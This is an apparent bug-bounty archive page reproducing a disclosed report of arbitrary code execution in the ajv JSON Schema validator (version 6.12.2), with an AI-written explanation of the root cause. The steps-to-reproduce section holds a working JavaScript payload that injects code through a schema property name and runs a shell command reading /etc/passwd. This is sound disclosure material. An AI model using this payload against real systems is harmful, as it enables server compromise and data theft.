Arbitrary code execution via untrusted schemas in ajv
ajv builds validation code by inserting schema data into a template and then applying regex transformations, so a crafted schema can break out of the generated code and run arbitrary JavaScript. An attacker who controls the schema can execute shell commands on the server.
- Triaged in 12 days
- Fixed in 31 days
- Disclosed after 2 months
I would like to report an arbitrary code execution vulnerability in ajv.
It allows to execute arbitrary code if an attacker-controlled schema is passed to the module.
I have confirmed that this should be treated as a security issue. I labeled this as low because this is an unusual scenario, usually schemas are static.
Module
module name: ajv
version: 6.12.2
npm page: https://www.npmjs.com/package/ajv
Module Description
The fastest JSON Schema validator for Node.js and browser. Supports draft-04/06/07.
Module Stats
29 351 921 weekly downloads
Vulnerability
Vulnerability Description
ajv builds code in an unsafe way and applies regex transformations over it after data from a potentially untrusted JSON schema has been inserted in it, resulting in arbitrary code execution from an otherwise valid schema.
Steps To Reproduce:
const ajv = require('ajv')({})
const payload = "(console.log(process.mainModule.require(`child_process`).execSync(`cat /etc/passwd`).toString(`utf-8`)),process.exit(0))"
const schemaJSON =`
{
"properties": {
"){}}};${payload};return validate//": {
"allOf": [{}]
}
}
}
`
ajv.compile(JSON.parse(schemaJSON))
Gist: https://gist.github.com/ChALkeR/a06ff0a76b3830205d3d4850068751f0
Wrap up
- I contacted the maintainer to let them know: Y
- I opened an issue in the related repository: N
Impact
Executing arbitrary js code and/or shell commands if the schema is attacker-controlled (e.g. user supplies JSON with a schema).
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the schema's property names are inserted into generated JavaScript source without proper escaping, and later regex transformations can be abused to break out of the intended code context.
Impact
An attacker who can control the schema can execute arbitrary JavaScript and shell commands on the server.
What the attacker needed
Attacker controls the JSON schema; application passes it to ajv.compile
How it was found
- Load the ajv module and create an instance.
- Construct a JSON schema containing a malicious property name that includes code to execute.
- Parse the schema and pass it to ajv.compile, which triggers the code execution.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
ajv is a library that checks whether JSON data matches a schema (a set of rules). To do this quickly, it writes JavaScript code on the fly and runs it. If an attacker can supply the schema itself, they can sneak in extra code that gets executed, letting them run commands on the server.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.